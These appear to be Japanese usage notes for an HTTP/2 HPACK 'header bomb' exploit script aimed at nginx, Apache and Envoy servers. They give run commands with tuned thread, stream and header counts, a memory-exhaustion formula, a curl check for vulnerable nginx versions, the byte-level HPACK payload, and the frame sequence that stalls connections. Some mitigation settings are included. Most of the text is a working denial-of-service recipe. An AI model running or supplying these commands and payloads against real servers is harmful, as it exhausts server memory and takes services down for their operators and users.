# 基本テスト（単一接続）
python3 exploit-test.py target.com 443

# nginx 固有の管理情報爆弾（nginx ターゲット推奨）
python3 exploit-test.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374

# Apache/Envoy クッキークラム方式
python3 exploit-test.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000

# HTTP/2 平文（稀 — ほとんどのサーバーは h2 に TLS を要求）
python3 exploit-test.py target.com 80 --no-ssl

total_streams = threads × streams
server_ram_mb = total_streams × headers × amplification_bytes / 1024²

# nginx 例: 50 × 30 × 16374 × 70 / 1024² = ~1,647 MB

# HTTP/2 サポートとサーバーバージョンを確認
curl -sv --http2 https://target.com/ 2>&1 | grep -E "ALPN|HTTP/2|server:"

# 以下の場合に脆弱:
# - ALPN: server accepted h2   (HTTP/2 が有効)
# - server: nginx/X.Y.Z        (X.Y.Z < 1.29.8)

http2 max_headers 1000;

# listen ディレクティブから "http2" を削除
listen 443 ssl;

# ワーカーメモリを制限し爆発範囲を制限
ulimit -v 2097152   # プロセスあたり 2 GB
# Docker: --memory="2g" --memory-swap="2g"

動的テーブルシード（増分インデックス、インデックス62に追加）:
  0x40 | name_len | name | value_len | value
  = 0x40 0x06 "x-bomb" 0x00

エントリ62へのインデックス参照（各1バイト）:
  0x80 | 62 = 0xbe

ストリームあたりのワイヤーペイロード = 9バイト（シード）+ Nバイト（N個の参照）
参照あたりのサーバー割り当て ≈ sizeof(ngx_table_elt_t) ≈ 70バイト

クライアント → サーバー:
  PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n     (preface)
  SETTINGS [INITIAL_WINDOW_SIZE=0]      (停止設定)
  SETTINGS ACK                          (サーバーSETTINGS読み取り後)
  HEADERS [stream 1]  ← 爆弾ペイロード   (疑似ヘッダー + HPACK爆弾)
  HEADERS [stream 3]  ← 爆弾ペイロード
  ...
  WINDOW_UPDATE(1) per stream / 1s      (キープアライブ停止)